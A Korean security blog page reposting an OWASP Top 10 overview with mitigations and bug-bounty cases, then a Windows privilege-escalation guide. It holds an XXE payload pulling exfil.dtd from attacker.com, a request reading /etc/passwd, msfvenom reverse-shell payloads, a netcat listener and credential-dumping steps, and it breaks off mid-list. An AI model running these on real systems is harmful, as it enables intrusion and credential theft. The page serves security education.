'전체보기'에 해당되는 글 321건

  1. [자료] 리눅스 포렌식 cheat sheet
  2. [자료] 파일전송 팁들
  3. [자료] red team toolkit
  4. [Tool] 레지스트리 자동분석 도구
  5. [자료] Win10 ActivitiesCache.db, AMCACHE
  6. [자료] OWASP Top 10: Real-World Examples
  7. [자료] A guide for windows penetration testing
  8. [Tool] 와이어샤크 플러그인
  9. [자료] opensource lectures
  10. [자료] 대규모 서비스를 지탱하는 기술

[자료] 리눅스 포렌식 cheat sheet


[자료] 파일전송 팁들


[자료] red team toolkit


[Tool] 레지스트리 자동분석 도구


[자료] Win10 ActivitiesCache.db, AMCACHE



[자료] OWASP Top 10: Real-World Examples



When it comes to web application testing, there’s arguably no better reference guide than the OWASP Top 10. Based on a larger number of data sets and opinions surveyed from a plethora of industry professionals, it ranks the ten most severe security weaknesses in web applications. This format makes it invaluable in both red and blue team engagements, as well as helping to improve internet security on a large scale by offering mitigation steps for each identified vulnerability.

Given the huge amount of time invested into producing the OWASP Top 10, it isn’t an annual document. There have been three released in this decade — 20102013 and 2017 — and this breathing time between releases also helps to highlight how the prevalence of different web app vulnerabilities dynamically evolves over time (as shown by the frequent re-working of the Top 10).

In this first article in a two-part series, we’ll give a simple overview of the first 5 vulnerabilities listed in the OWASP Top 10, how to mitigate them, as well as featuring real-world examples from disclosed bug reports to show the exploits in action. Let’s get into it!

1. Injection

What is it?

Topping the list for the third time in a row, an injection vulnerability is when an attacker sends malicious data as part of a command or query to an interpreter. If successful, this malicious input will be executed as code, causing the interpreter to execute unintended commands or reveal data which should otherwise be inaccessible.

When Does it Happen?

Ultimately, the most common cause of injection vulnerabilities results from a website’s failure to filtervalidate or sanitise a user’s input. Web apps will always be presented with the following predicament: enabling user input is required for the application to function as intended, but there will always be malicious users who attempt to exploit this reality by sending unexpected or unintended data.

The other major cause of injection attacks is due to a failure to implement parameterisation (we’ll talk more about this in the following section). Particularly vulnerable queries or commands are those which concatenate user input directly into the call, allowing an attacker to alter the intended function with malicious data.

How to Mitigate Injection Attacks

  1. Filtering, Validating, Encoding and Escaping
  • Blacklisting: the process of rejecting/stripping known ‘bad’ input. However, this has limitations, since you’re essentially always fighting an uphill battle against attackers with this method of mitigation. Let’s say a developer strips any user input containing " or ' as a means of preventing query alteration. An attacker could encode these characters — say with URL encoding — to %22 or %27 in order to circumvent the blacklisting. For this reason, blacklisting is never going to be an effective mitigation method when used alone.
  • Whitelisting: the process of only accepting desired input. In the case of an e-mail address, this may have certain restrictions such as requiring an @symbol, . as well as potentially limiting length. In practice though, this can become difficult to implement in web apps where the intended function by design should allow the user to input a broad range of characters — such as a job posting website.
  • Encoding: the process of encoding ‘bad’ characters after they have been submitted by the user to make them harmless. The most common example of this is by using HTML entity encoding, whereby characters such as 'and " would become ' and " respectively.
  • Escaping: the process of ‘escaping’ specalised characters (such as "’%)to make them be interpreted as string literals rather than functioning in their intended way. Typically this is done with backslashes but varies depending upon the language at play.

A combination of some or all of the above would be a recommended starting step to preventing injection attacks.

2. Query Parameterisation

As recommended by OWASP, using parameterised queries is the best — and cleanest — way to mitigate SQL injection attacks (in combination with the aforementioned mitigation steps). Also known as a prepared statement, it is a query whereby only the parameters are supplied at execution, heavily reducing the ability for a determined attacker to alter or ‘break’ the query itself. Below is a simple example of a parameterised query from W3’s page on SQLi:

For more information on preventing injection attacks, check out the following OWASP cheat sheets: Injection Prevention Cheat Sheet & SQL Injection Prevention Cheat Sheet.

Real-World Examples

  1. Valve paid out $25,000 after an SQL injection was reported in report_xml.php through countryFilter[] parameter (view public disclosure on HackerOne).
  2. SQL injection due to controllable $conversationID parameter (exploit is described in detail with relevant source code via the public disclosure on HackerOne).
  3. Another SQL injection — this time in a WordPress plugin called Formidable Pro which was used by tech company Grab. Earning a $4,500 payout, the initial report posted by the security researcher was extremely detailed and worth looking at for getting a closer look at advanced sqlmap.py usage.

2. Broken Authentication

What is it?

This class of vulnerability covers any weaknesses in the authentication/session management methodology. These are often poorly implemented in web apps, giving attackers access to account(s) and/or data that they otherwise shouldn’t be authorised to view.

When Does it Happen?

There are a variety of contributing factors to Broken Authentication, including:

  • Failure to deny automated attacks (brute-forcing, credential stuffing etc).
  • Allows users to have weak or well-known passwords such as password123.
  • Exposes username/password information based on error messages/response times.
  • Implements weak credential recovery and forgotten-password measures. (An interesting article on the weak nature of security questions was published by the NCSC here).
  • Exposes Session IDs in URLs.
  • Fails to implement Session ID switching after a user logs in.
  • Sessions remain active for too long — after a session has exited and remained inactive for a significant period of time.

How to Mitigate Broken Authentication

The good news regarding Broken Authentication is that it can be significantly improved with just a couple of changes. The biggest of these are:

  • Two-factor authentication (or 2FA) for all logins. This prevents accounts from being brute-forced so easily.
  • Ensuring users have sufficiently-strong passwords by implementing validation on password creation. Things like minimum password length and required special characters is a good way to increase protection. If any of you have ever signed up for an account at BugCrowd, then you’ll know exactly what it’s like to use a site that implements rigorous validation checks on passwords!

There are numerous other steps that can be taken to further reduce the likelihood of Broken Authentication exploits:

  • Rate-limit login attempts. While this is usually done via tracking cookies or IP addresses which a determined attacker can spoof (or simply acquire an entire VPS for an alarmingly affordable price), it is still another hurdle which will help prevent exploitation.
  • In the same way, a response delay (with PHP using sleep()) can be implemented to further slow an attacker’s brute-force attempts.
  • Blacklist IPs from which suspicious activity has been detected.
  • Cross-reference user passwords against recent/common password leaks from other data breaches, and notify any users which are making use of passwords which are frequently applied in brute-force attempts.
  • Make use of a server-side, built-in session manager which generates a random, high-entropy Session ID after a user has logged in. don’t ever include this ID in URLs and ensure that it is invalidated after a period of inactivity.

Real-World Examples

  1. Uber failed to rate-limit the https://biz.uber.com/confirm endpoint, which would allow an attacker to brute-force business accounts and take rides on behalf of them. This vulnerability was identified and reported on HackerOne — the public disclosure can be viewed here.
  2. Erroneous logic in Shopify’s web app meant that an attacker could be granted ‘collaborator’ access to any shop without authentication. This could be exploited by creating two partner accounts which shared the same business e-mail, giving an attacker login access to any store with full permissions. Deservedly paying a large reward ($20,000), the public disclosure can be viewed here.

3. Sensitive Data Exposure

What is it?

As the name indicates, this vulnerability is when a web application fails to sufficiently protect sensitive data — namely personally identifiable information — which includes (but is not limited to) data points like e-mail addresses, postal addresses, banking information, dates of birth and telephone numbers.

When Does it Happen?

While recent legal changes such as GDPR and the longstanding PCI DSSshould ensure that sensitive data is not exposed, a significant percentage of web applications fail to meet these requirements. Sites are particularly at risk if:

  • Data is transmitted in clear text (over protocols such as HTTP, FTP and SMTP).
  • Sensitive data is stored server-side in clear text.
  • Known-to-be weak cryptographic algorithms such as MD5 or SHA-1 are used for encryption.
  • Default/weak cryptographic keys are used.

How to Mitigate Sensitive Data Exposure Attacks

It’s worth stressing that when it comes to sensitive data, the following mitigation steps should be followed at a minimum. After all, most attackers are prioritising sensitive data as a target when it comes to exploiting vulnerabilities given how lucrative of a market it is on the dark web.

  • Identify all data which could be considered ‘sensitive’. Note where and how it is stored, as well as if and how it is transferred.
  • Do not store sensitive data which is no longer needed.
  • Use tokenisation for sensitive financial data (you can read more about this and its relation to PCI DSS compliance here).
  • Make sure that all stored sensitive data is encrypted with strong algorithms using cryptographic keys which have not been generated using standard/default passwords.
  • Ensure data which is transmitted uses TLS, perfect forward secrecy (PFS) ciphers, as well as implementing directives like HTTP Strict Transport Security.
  • Store passwords using strong salted hashing functions (Argon2, scrypt, bcrypt and PBKDF2 are all secure).

Real-World Examples

  1. Login form on non-HTTP page in one of Chaturbate’s assets allows for a Man-in-the-Middle (MITM) attack where user credentials can be intercepted by an eavesdropping user. The publicly disclosed report can be viewed on HackerOne here.
  2. Secure flag is not included for Session Cookie at git.edoverflow.com, meaning that the browser will send it via an unencrypted channel (HTTP) if such a request is made which in turn can be intercepted and used by an attacker. More info about securing cookies can be found in this good blog post, while the original report can be viewed on HackerOne here.

4. XML External Entities (XXE)

What is it?

Annoyingly named XXE instead of XEE (but that’s besides the point here), XML External Entity attacks leverage badly-configured XML processors to read internal files (as portrayed above), file shares and can even be leveraged for remote code execution and DoS attacks. In the context of XML, an Entity is a mechanism to define replacement values; think of it like a variable which you define in a script. They can either be internally declared, like so:


<!ENTITY entity-name “entity-value”>


 <!ENTITY writer “George”>
<!ENTITY copyright “Medium”>
 XML example:

Or externally declared which references a URI/URL, with slightly different syntax:


<!ENTITY entity-name SYSTEM “URI/URL”>


<!ENTITY writer SYSTEM “https://www.somewebsite.com/entities.dtd">
<!ENTITY copyright SYSTEM “https://www.somewebsite.com/entities.dtd">
 XML example:

Since XXE exploits external Entities only, the syntax you should be most aware of is the second example provided.

When Does it Happen?

Web apps and XML-based web services can be vulnerable to an attack when if one or more of the conditions are present:

  • The web app accepts XML or allows for XML uploads — particularly with no validation for the source of the request — which is then parsed by an XML processor.
  • If DTDs (document type definitions) are enabled.
  • If the app uses SAML, since this relies upon XML for identity assertions.
  • SOAP version <1.2 are likely vulnerable if XML entities are passed directly to the framework.

How to Mitigate XXE Exploitation

As the OWASP Top 10 affirms, ‘developer training is essential to identify and mitigate XXE’. Ensuring that web developers write security-conscious code is obviously the ideal way to prevent vulnerable apps, but this isn’t going to happen in practice. For this reason, other mitigation methods are suggested, including:

  • Disable XML external entity and DTD processing in XML parser(s).
  • Use another data format such as JSON instead of XML.
  • Avoid serialisation of sensitive data.
  • Don’t run old XML processors or libraries — and the same applies for SOAP. Ensure all versions are upgraded to the latest stable release.
  • Impose appropriate server-side filtering on XML documents to remove the presence of malicious code (using methods described in the ‘Injection’ section of this article).
  • Run Static Application Security Testing programs over relevant code to identify potential vulnerabilities.

Real-World Examples

  1. Proving its prevalence as number 4 on the OWASP Top 10, an XXE vulnerability was discovered in Twitter of all sites. The exploit was remarkably simple — but paid out a whopping $10,080 due to its severity in allowing an attacker to read local files on the target system. Below is the POST request sent by the attacker, containing an XML payload which then returns the contents of the /etc/passwd file on the system:
POST /api/sxmp/1.0 HTTP/1.1
Host: sms-be-vip.twitter.com
Connection: close
Content-Type: text/xml
Content-Length: 481

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY file SYSTEM "file:///etc/passwd">
<operation type="deliver">
<account username="abc" password="a"/>
<deliverRequest referenceId="MYREF102020022">
<sourceAddress type="network">40404</sourceAddress>
<destinationAddress type="international">123</destinationAddress>
<text encoding="ISO-8859-1">a</text>

Response from server:

<?xml version="1.0"?>
<operation type="deliver">
<error code="1010" message="Unable to convert [root:x:0:0:root:/root:/bin/bash...[truncated by researcher] to an integer for [operatorId]"/>

You can view the full publicised report on HackerOne here.

2. Disclosed back in 2018, an XXE vulnerability led to an exploit in Rockstar Games’ emblem editor. The publicly disclosed report includes code snippets and explanations from the researcher himself, so would thoroughly recommend checking it out. The basic XXE usage for the exploit can be seen below:

<!DOCTYPE svg [
<!ENTITY % outside SYSTEM "http://attacker.com/exfil.dtd">
<pattern id="exploit">
<text x="10" y="10">

Contents of exfil.dtd:

<!ENTITY % data SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">
<!ENTITY exfil "%data;">

5. Broken Access Control

What is it?

Not to be confused with the similar-sounding Broken Authentication, Broken Access Control is when permission misconfigurations allow attackers to access or modify data/files/accounts that they should otherwise be unable to access.

When Does it Happen?

In a web application where proper access control is enforced, users will have different access permissions based upon their granted privileges. However, these controls can be mistakenly misconfigured. Common vulnerabilities in this area can sprout from:

  • The ability to bypass access control checks via URL or HTML tampering, modification of the internal application’s state or by using a custom API attack tool.
  • A privilege escalation vulnerability, which allows a low-privileged user to perform actions that should be reserved for users with higher privileges.
  • Metadata manipulation (this includes vectors such as tampering with access control tokens such as JWTs or cookies).
  • CORS misconfigurations (you can learn more about these types of vulnerabilities in this blog post).

How to Mitigate Broken Access Control

There is one simple rule to keep in mind when managing access control: unless the resources must be publicly accessible, deny users from accessing them. Obviously this is easier said than done, particularly given the list of various attack vectors presented above. For this reason, there are some other pointers to mitigate any potential issues:

  • Minimise CORS implementation.
  • Prevent web server directory listing and ensure file metadata (such as .git) and backed-up files are not accessible via the server’s root directory. The .git vulnerability is particularly worth mentioning, since there are some scraping tools out there which identify exposed .git directories on inputted sites and download the source code. These tools can be viewed at internetwache’s GitTools repository here.
  • Log activity for the access of relevant files to document and identify any potential vulnerabilities in your own server.
  • Impose rate-limiting on API and controller access to reduce the potential harm from automated attack tools.
  • All relevant access tokens should be invalidated server-side when a user logs out.

Real-World Examples

We’ve got two critical ones here — both related to the video game industry!

  1. Improper access control led to a security researcher being able to get the CD keys for any game on Steam. Definitely not intended privileges there. Valve summarised the exploit:
‘Using the /partnercdkeys/assignkeys/ endpoint on partner.steamgames.com with specific parameters, an authenticated user could download previously-generated CD keys for a game which they would not normally have access.’

2. An exposed .bash_history file on http://drivers.razersupport.com meant that any visitor to this endpoint could publicly view the file (see the report summary here). According to Razer:

‘When a DB admin eventually executed a command involving clear text credentials for the database, this exposed the password for that database.’

In the second article of this two-part series, we’ll give a simple overview of the final 5 vulnerabilities listed in the most recent OWASP Top 10, how to mitigate them, as well as featuring real-world examples from disclosed bug reports to show the exploits in action. Let’s go!

(If you haven’t checked out the first article, you can see it here).

6. Security Misconfiguration

What is it?

Covering a broad range of potential weaknesses, this category of vulnerabilities is actually the most prevalent in web apps today (OWASP Top 10 isn’t ranked on prevalence but rather seriousness, hence why it occupies the number 6 spot here). This can include insecure default configurations, incomplete configurations, misconfigured HTTP headers or exposed error messages which guide attackers in their search for vulnerabilities.

When Does it Happen?

A number of different features can constitute misconfigurations, including:

  • Failure to sufficiently harden the application (a lack of firewall, or a misconfigured one).
  • Unnecessary exposure, whether it be in the form of web pages, unused accounts or unrequired services.
  • Default usernames/passwords kept for administrative tools/hardware — there are many sites containing default credentials widely available such as http://www.phenoelit.org/dpl/dpl.html.
  • Error messages are outputted on the web server. This can be particularly dangerous if they are overly verbose, potentially revealing file paths, configuration details and version information.
  • The server does not send security headers (things like Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options, X-XSS-Protection, Referrer-Policy etc), or fails to appropriately set their values.

How to Mitigate Security Misconfigurations

  • Take a minimalist approach to your web app — if a feature, framework or function is not required, remove it.
  • Ensure that all available updates and patches are applied as soon as possible. Conduct routine checks to ensure this requirement is met.
  • Review cloud storage permissions.
  • Ensure your HTTP headers are secure — consult OWASP’s guide here for reference or scan your website’s headers by using the free scanner available at https://securityheaders.com.
  • Introduce an automated process to routinely check misconfigurations (using Selenium or an equivalent framework).

Real-World Examples

  1. Misconfigured HTTP headers in U.S. Department of Defense web page (https://www.sfl-tap.army.mil/). While the security-conscious X-XSS-Protection header was included, it was configured with the value DENYwhich is to be used for the X-Frame Option. The researcher correctly recommended that this should be changed to 1; mode=block. The original report can be viewed here.
  2. Another HTTP headers example — this time in ReddAPI. An HTTPS page was missing the Strict-Transport-Policy header which is required to ensure that a browser always uses secure protocol when accessing said page. Full information about the report can be reviewed here.

7. Cross-Site Scripting (XSS)

Image result for cross site scripting

What is it?

One of the better-known vulnerabilities due to its high ranking in OWASP’s Top 10 in years gone by (#3 in 2013 and #2 in 2010), XXS may have dropped down to #7 in 2017 as a result of better knowledge and protection against it. Put simply, Cross-Site Scripting allows an attacker to execute script(s) in a victim’s browser. This can be used to hijack user sessions (by getting cookies, session ID’s and so on), alter the contents of a web page or redirect a user to an evil site. There are two common types:

  • Stored XSS: this is when an injected script is stored on the server in a fixed location. The classic example is a forum post, where every user which requests the post from the server will subsequently be affected by the XSS attack. Also referred to as Persistent or Type-I XSS. For this reason, it is usually classified as the most severe since it will typically impact the highest number of users.
  • Reflected XSS: this is when an injected script within a request is reflected back in the server’s response. A common example is a search feature which responds by printing (or reflecting) the user’s malicious search input as well as outputting the search information. Given this format, a reflected XSS attack must involve targeting a victim through another method such as social engineering in order to get them to send the request which elicits a reflected response. Also referred to as non-persistent or Type-II XSS.

There is also a third, lesser-known XSS attack vector:

  • DOM-based XSS: as the name suggests, this type of XSS differs from the other two types in that it appears in the DOM (Document Object Model) rather than the HTML document. This means that the latter is not modified, and so the payload will not be found in the server’s response — it can instead be identified by investigating the DOM of the page. A trivial DOM-based XSS payload could look like this:


When Does it Happen?

We’ll break this down by the different XSS types, since they can have different causes:

  • Stored & Reflected XSS: the web app or API stores user input which is unsanitised, unescaped, unvalidated or fails to be encoded.
  • DOM-based XSS: JavaScript frameworks, single-page applications and APIs which dynamically include user-inputted data are vulnerable to this type of attack.

How to Mitigate Cross-Site Scripting Attacks

OWASP have a couple of excellent XSS prevention cheat sheets: one for reflected/stored attacks, and another for DOM-based attacks. The main steps to enforce are:

  • Employ a combination of validating, filtering, encoding and escaping methods to prevent untrusted user input from executing on the web app. The first OWASP cheat sheet listed above goes into extended detail about methods you can use to prevent malicious input executing as intended.
  • Move to frameworks which automatically escape XSS by design (recent Ruby on Rails version, React JS).
  • Enforce secure headers (such as X-XSS-Protection: 1; mode=block and Content-Security-Policy).

Real-World Examples

The list could be pretty extensive for this one, so I’ve shortlisted a prolific example for each type:

  1. Stored XSS: A stored XSS vulnerability was discovered in Steam’s react-built chat client. The informative report and steps taken to exploiting it can be viewed on HackerOne here.
  2. Reflected XSS: as summarised by Uber’s security team,
Due to a lack of input validation from the search field on lert.uber.com, it was possible to obtain a Reflected XSS from the URL path, e.g. https://lert.uber.com/s/search/All/Home">PAYLOAD.

3. DOM-based XXS: a vulnerability in the DuckDuckGo search engine was identified and explained in this report. With responsible source code identified and screenshot proof of the exploit, it’s worth checking out. Ultimately, the effective payload can be seen below:


8. Insecure Deserialisation

What is it?

To get a better sense of what Insecure Deserialisation is, we need to talk about the verb here: to serialise.

Serialisation: the process of translating an object into a format which can be persisted to disk (as a file for example), sent through streams or sent over a network. It can either be binary or structured text (such as XML, JSON etc).

Deserialisation: Well… the opposite; transforming serialised data from a file, stream or network socket into an object.

Throw insecure into the mix, and we can start to see how this can become a vulnerability. If an attacker can alter the content of what is to be deserialised, then they can leverage this to achieve remote code execution (RCE). While it is arguably the most technically complex vulnerability to exploit on the OWASP Top 10, it is usually also the most damaging when it is successful.

So…what do applications use serialisation for? There are a variety of use-cases:

  • Remote-process communication (RPC) and inter-process communication (IPC).
  • Wire protocols, web services and message brokers.
  • Caching/persistence.
  • Databases, cache servers and file systems.
  • HTTP cookies, HTML form parameters and API authentication tokens.

When Does it Happen?

Fundamentally, an application is likely vulnerable to this type of attack if it deserialises untrusted or tampered data inputted from a malicious source. If these conditions exist, it can lead to two different types of exploits:

  • Object/data structure-related attacks where an attacker modifies application logic or achieves RCE if there are classes available within the application that can change behaviour during or after serialisation.
  • Data tampering attacks — such as access control-related exploits where existing data structures are used but the content is modified.

How to Mitigate Insecure Deserialisation Attacks

As is written in OWASP’s guide, ‘the only safe architectural pattern is not to accept serialised objects from untrusted sources or to use serialisation mediums that only permit primitive data types’. Other mitigative steps include:

  • Enforce integrity checks (i.e. digital signatures) on serialised objects to prevent hostile objects from being created or data being tampered with.
  • Isolating deserialisation processes into low-privilege environments when possible.
  • Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialise.
  • Logging, monitoring, and alerting when a user repetitively deserialises. Given the trial-and-error nature with this type of exploit, it’s not unusual for a malicious user to be fairly noisy when attempting this style of attack.

Real-World Examples

  1. In September 2018, a researcher on HackerOne identified an insecure deserialisation vulnerability in Vanilla Forums which allowed a determined attacker to achieve remote code execution. The report is extremely detailed and includes source code analysis and a PoC.
  2. The same researcher (going by mr_me on HackerOne) went on to find a total of 4 exploits which all led to RCE in the Vanilla web app. The most complex of these — again with a well-written report — can be seen here.

9. Using Components with Known Vulnerabilities

In 2018, a critical vulnerability was identified in the Apache Struts 2 framework (CVE-2018–11776) with a distributed PoC.

What is it?

This one’s pretty straightforward and is exactly what it says on the tin: it is when a web app actively includes components which have publicly-known vulnerabilities. Given that a web application’s components will share the privileges assigned to the app, an already-weak link can lead to severe data loss or even an entire takeover of the server.

When Does it Happen?

  • If administrators are not aware of all the version info and components running on the web application.
  • If software is vulnerable, unsupported or out of date.
  • If routine checks are not carried out for updates and patches (whether automated or manual).

How to Avoid it

Similarly to dealing with security misconfigurations, mitigating this issue requires due diligence on behalf of those responsible for the web application. Responsibilities include:

  • Removing unnecessary exposure (unused components/features/files).
  • Keep an up-to-date inventory which documents every component that is used on the web application. This can then be cross-referenced against vulnerability databases (such as CVE and NVD) to identify if you have any affected components.
  • Subscribe to security bulletins and e-mail notifications for relevant components that the app uses.

Real-World Example

  1. You might assume that only small-scale web apps are susceptible to this type of vulnerability. However, that’s most definitely not true — and frequently-used, large-scale apps will typically have more involved components, which can increase the likelihood that one of them is vulnerable. For this first example, a fitting report was disclosed back in 2016 which affected Uber. Not only was it using an out-of-date version of WordPress, but it also ran a plugin q-and-a which had since been removed from WordPress due to having a Full Path Disclosure vulnerability. The reporter ended up identifying another vulnerability in the plugin, but was only led to it by Uber’s initial running of components with known vulnerabilities in the first place. The original report can be viewed here.

10. Insufficient Logging & Monitoring

If you’ve not been informed that your house is on fire, how will you know when it’s burning down?

What is it?

Like the previous security weakness, this one is also very straightforward. Any effective cyber security operation center (SOC) relies extensively upon logging and monitoring to evaluate the state of the network and identify any potential threats. Failure to keep sufficient records in these areas can subsequently slow incident response, accentuating the potential damage of an intrusion. According to the OWASP Top 10, ‘most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring’.

What Constitutes Insufficient Logging & Monitoring?

  • When important events such as logins, login attempts, and significant transactions are not logged.
  • Warnings and errors generate no or inadequate log messages.
  • Logs of applications/APIs are not kept for suspicious behaviour (i.e. enumerating for sensitive files on the server).
  • Logs are only stored locally.
  • Alerts and response escalation processes either don’t exist or are ineffective.

How to Avoid Insufficient Logging & Monitoring

  • Ensure important events, significant transactions and server-side input validation failures are logged — with enough context to identify suspicious users and the ability to suspend their activity while forensic analysis takes place.
  • Make sure proper access controls are enforced (such as append-only for log documents) to prevent them from being tampered with.
  • Create an effective alerting system and policy which allows for potential threats to be dealt with before they escalate.

Real-World Example

November 2018 Marriott International Data Breach

Reportedly affecting more than 500 million customers, this data breach occurred following hackers gained entry to one of its 2016-acquired subsidiaries — Starwood. The vulnerable network was reported to be the guest reservation service, which attackers had been accessing since 2014. This meant that their presence went unnoticed for over four years with reports emerging in November of 2018 of the data breach. There’s no doubt that this was one of the more significant logging and monitoring failures in the history of the internet.

'SECURITY > System' 카테고리의 다른 글

[자료] OWASP Top 10: Real-World Examples  (0) 2019.01.15
[자료] meltdown / spectre  (0) 2018.01.05
[자료] THE ART OF FUZZING  (0) 2017.11.28
[자료] linux kernel exploitation  (0) 2017.06.06
[자료] firmware security training  (0) 2017.05.31

[자료] A guide for windows penetration testing


Windows penetration testing is one of the grey area where many beginner penetration testers struggles with. It is irony that most of us use windows for our day-to-day tasks but when it comes to penetration testing, we are more comfortable with Linux. The reason for this disparity in skills is because of the availability of numerous CTFs and resources available for Linux. Since Windows is not open source and it comes with a licensing cost, we see a fewer Windows CTFs for practice. HackTheBox is one ofthe great resource for practicing Windows penetration testing for free. If you are one of those people who fear windows enumeration and privilege escalation, this blog is for you. In this blog we are going to look into Windows penetration testing and also try to draw an analogy with its Linux counterpart wherever possible.


Basic enumeration commands

Since Windows is known for its interactive GUI, its command line is very less utilized. In this section we will look into some basic windows command to kick off our enumeration.

Checking each of the above commands manually is tedious and takes lot of time. There is a batch script which automates the enumeration and provides the result in a nice readable format. This script can be downloaded from here. Upload this script on the target machine and run it to automate the enumeration process. There is also a powershell alternative of this script which can be downloaded from here.

Privilege Escalation

This is one of the area where most of the beginner pentesters are afraid off. In this section, we will see some of the basic privilege escalation vectors on Windows machine and different ways to exploit them. Below are list of some common privilege escalation techniques:

  1. Missing Patches
  2. Stored Credentials
  3. Pass The Hash
  4. Group Policy Preferences
  5. Token Manipulation
  6. Secondary Logon Handle
  7. Unquoted Service
  8. Insecure Registry Permissions
  9. Intel SYSRET
  10. Always Install Elevated
  11. DLL injection
  12. DLL Hijacking
  13. Weak/insecure Service Permission
  14. Insecure File/Folder Permissions

1. Missing Patches and Kernel Exploits

Windows OS receives the security updates at regular interval. If the system is not updated, there is a good chance that a critical security patch might be missing.  Once we have the list of missing patch, we can use the relevant exploit to escalate our privilege. There are different ways to check for missing patches:



Once we have the meterpreter shell on Windows machine, we can use the post/windows/gather/enum_patches module to enumerate for missing patches.


There is a great powershell script from Rasta Mouse called Sherlock with uses the Microsoft database for list of latest patches and checks if the system has all of them installed. Upload the Sherlock.ps1 file on the target machine and run the check using PowerShell.exe Find-AllVulns.

Windows Exploit Suggester

There is a python script which enumerates the windows machine and suggest the possible exploit. The script can be found here.

Compilation is one of the pain while dealing with Windows kernel exploit. There is an excellent github repositorywhere we can find many pre-compiled windows exploit.

Note: Be extra cautious before using any of these pre-compiled exploits. Using these exploits can be fine for CTFs but for real pentest engagements, it is not advisable.

2. Stored Credentials

Stored credentials can be found at multiple locations like unintended installation (unattend.xml, sysprep.inf, sysprep.xml), configuration files (vnc.ini, ultravnc.ini, web.config), 3rd party softwares (SiteList.xml for McAfee, VNC, Putty) and registry. Below are the few ways to find stored credentials.


This is a collection of various powershell modules to help in different stages of penetration testing. This script can be downloaded from here. Different modules which help to dump the stored credentials are

  • Get-UnattendedInstallFile
  • Get-Webconfig
  • Get-ApplicationHost
  • Get-SiteListPassword
  • Get-CachedGPPPassword
  • Get-RegistryAutoLogon

Once we have the meterpreter shell, we can use the following metasploit modules to dump the stored credentials

  • post/windows/gather/credentials/gpp
  • post/windows/gather/enum_unattend
  • post/windows/gather/credentials/windows_autologin

Look into the registry for auto-logon credentials

This enumeration script mentioned earlier can also enumerate for stored credentials and dump them in a file.

3. Pass The Hash

In windows environment, LM/NTLM hash is used to authenticate to the remote server instead of plain text password. If we have the administrator access on the windows system, we can dump the hash from the memory using the tools like Windows Credential Editor (wce.exe) and fgdump.exe. Both the tools are available in the default Kali installation.

4. Group Policy Preferences (GPP)

This method is applicable for the systems present in Active Directory Domain environment. One of the functionality of Group Policy Preferences is to change the local administrator password of the systems connected to the domain environment. Groups.xml file on the domain controller stores the encrypted password. This file is stored at the location \\<DOMAIN>\SYSVOL\. Once we have the decrypted password, we can have local administrator level access on the other systems connected to the domain. Below are the different ways to exploit this issue.

  1. Check if SYSVOL share can be mounted: net use z: \\<DOMAIN>\SYSVOL
  2. Check if Groups.xml file exists: dir /s Groups.xml
  3. Open Groups.xml file and copy the attribute cpassword
  4. Decrypt cpassword using gpp-decrypt utility present in Kali

Use the following Powersploit modules to exploit the gpp

  • Get-CachedGPPPassword
  • Get-GPPPassword

Once we have the meterpreter shell, we can use the post/windows/gather/credentials/gpp post exploitation module to test for vulnerable gpp

5. Token Manipulation

This method is applicable in case when we have compromised a service running as NT AUTHORITY\Network Service. There are various ways to escalate or privilege from Network Service to SYSTEM.

  1. Download rottenpotato.exe from here
  2. Using meterpreter shell, upload the exe to the victim machine
  3. Use the following commands from meterpreter shell


Use the following modules for token impersonation

  • Invoke-TokenManipulation -Enumerate
  • Invoke-TokenManipulation -ImpersonateUser -UserName “SystemName\Administrator”
  1. Download potato.exe from here
  2. Upload the executable to the victim
  3. Execute the following command to add a user to administrator group

  1. Download MSFRottenPotato.exe/LonelyPotato from here
  2. Create a reverse shell payload using: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 > shell.exe
  3. Upload MSFRottenPotato.exe and shell.exe to the victim
  4. Open the netcat listener on the attacker machine: nc -nlvp 443
  5. Execute the exploit to get back the reverse shell: C:\MSFRottenPotato.exe shell.exe * shell.exe

6. Secondary Logon Handle

This exploit requires the Remote Desktop Connection to the victim machine. Check if target is vulnerable


use the following metasploit module to exploit this vulnerability exploit/windows/local/ms16_032_secondary_logon_handle_privesc


Download the powershell exploit script from here and execute the script. This will open a new command prompt with the privilege of “NT AUTHORITY/SYSTEM”.


Download the exploit binary from here and execute it. This will open a new command prompt with the privilege of “NT AUTHORITY/SYSTEM”.

7. Unquoted Service

This method requires the restart of vulnerable service. Below are the different ways to exploit this issue

  1. Find the services running without quotes
  2. Identify the privilege of service running by using services.msc: wmic service get name,displayname,pathname,startmode |findstr /i “auto” |findstr /i /v “c:\windows\\” |findstr /i /v “””
  3. Check if the normal user is having write access to the directory where service’s executable is located or in another previous directory. BUILTIN\Users should have RX or Full (F) privilege: icacls “C:\Program Files(x86)\Servicename”
  4. Generate a payload using msfvenom and add the malicious exe in the  path: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=AttackerIP LPORT=AttackerPort -f exe -o shell.exe
  5. Open the meterpreter listener on the attacker
  6. Restart the service

Once we have the meterpreter session, use the following command to exploit this vulnerability. If everything goes ok, we will get a new meterpreter session with elevated privilege.

  1. Get the list of all the unquoted services: Get-ServiceUnquoted
  2. Generate a payload using msfvenom (shell.exe) as mentioned earlier
  3. Replace the existing service with the malicious service to get the shell with administrator privilege: Write-ServiceBinary -Name “ServiceName from above command” -Path “Path\adduser.exe”
  4. Open the meterpreter listener on the attacker
  5. Restart the service

8. Insecure Registry Permissions

  1. Download subinacl.exe from here.
  2. Check the permission for HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services using subinacl.exe /keyreg 
  3. For the service to be vulnerable, check for the following: Key and SubKey – Type of Access: Full Control
  4. modify the registry to include malicious executable link: reg add “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ServiceName” /t REG_EXPAND_SZ /v SomeKey /d “C:\Payload.exe” /f

9. Intel SYSRET

  1. Download the sysret.exe from here.
  2. Upload it using existing meterpreter session: upload /root/sysret.exe
  3. Escalate the privilege by executing the exploit and attaching it to the current process

  1. Upload the sysret.exe to the victim
  2. Get the process ID of the explorer.exe using tasklist
  3. Escalate the privilege by executing the exploit and attaching it to the explorer.exe process: sysret.exe -pid 1234

10. Always Install Elevated

